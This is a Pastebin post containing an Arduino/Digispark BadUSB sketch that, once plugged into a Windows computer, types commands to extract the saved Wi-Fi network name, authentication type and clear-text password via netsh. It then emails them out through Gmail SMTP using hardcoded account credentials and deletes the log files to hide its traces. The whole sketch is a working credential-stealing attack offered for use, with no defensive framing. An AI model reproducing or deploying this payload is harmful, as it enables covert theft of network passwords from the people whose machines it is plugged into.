Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "DigiKeyboard.h"
- #include "scancode-ascii-table.h"
- void enter() {
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(400);
- }
- void t() {
- DigiKeyboard.delay(400);
- }
- void setup()
- {
- DigiKeyboard.sendKeyStroke(0);
- t();
- DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- t();
- DigiKeyboard.print("cmd");
- enter();
- DigiKeyboard.print(F("cd \"%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=:\" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"BSSID\"') do set A=%A"));
- enter();
- DigiKeyboard.print(F("set A=\"%A:~1%\""));
- enter();
- DigiKeyboard.print(F("netsh wlan show profiles %A% key=clear | findstr /c:\"Network type\" /c:\"Authentication\" /c:\"Key Content\" | findstr /v \"broadcast\" | findstr /v \"Radio\">>A.txt"));
- enter();
- DigiKeyboard.print(F("for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" A.txt') do set B=%A"));
- enter();
- DigiKeyboard.print(F("for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" A.txt') do set C=%A"));
- enter();
- DigiKeyboard.print(F("for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" A.txt') do set D=%A"));
- enter();
- DigiKeyboard.print(F("del A.txt"));
- enter();
- DigiKeyboard.print(F("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt"));
- enter();
- DigiKeyboard.print(F("powershell"));
- enter();
- DigiKeyboard.print(F("$SMTPServer = 'smtp.gmail.com'"));
- enter();
- DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)"));
- enter();
- DigiKeyboard.print(F("$SMTPInfo.EnableSsl = $true"));
- enter();
- DigiKeyboard.print(F("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('tizio65.caio@gmail.com', 'tiziocaio321')"));
- enter();
- DigiKeyboard.print(F("$ReportEmail = New-Object System.Net.Mail.MailMessage"));
- enter();
- DigiKeyboard.print(F("$ReportEmail.From = 'tizio65.caio@gmail.com'"));
- enter();
- DigiKeyboard.print(F("$ReportEmail.To.Add('tizio65.caio@gmail.com')"));
- enter();
- DigiKeyboard.print(F("$ReportEmail.Subject = 'WiFi key grabber'"));
- enter();
- DigiKeyboard.print(F("$ReportEmail.Body = (Get-Content Log.txt | out-string)"));
- enter();
- DigiKeyboard.print(F("$SMTPInfo.Send($ReportEmail)"));
- enter();
- DigiKeyboard.delay(1000);
- DigiKeyboard.print(F("exit"));
- enter();
- DigiKeyboard.print(F("del Log.txt & exit"));
- enter();
- }
- /* Unused endless loop */
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement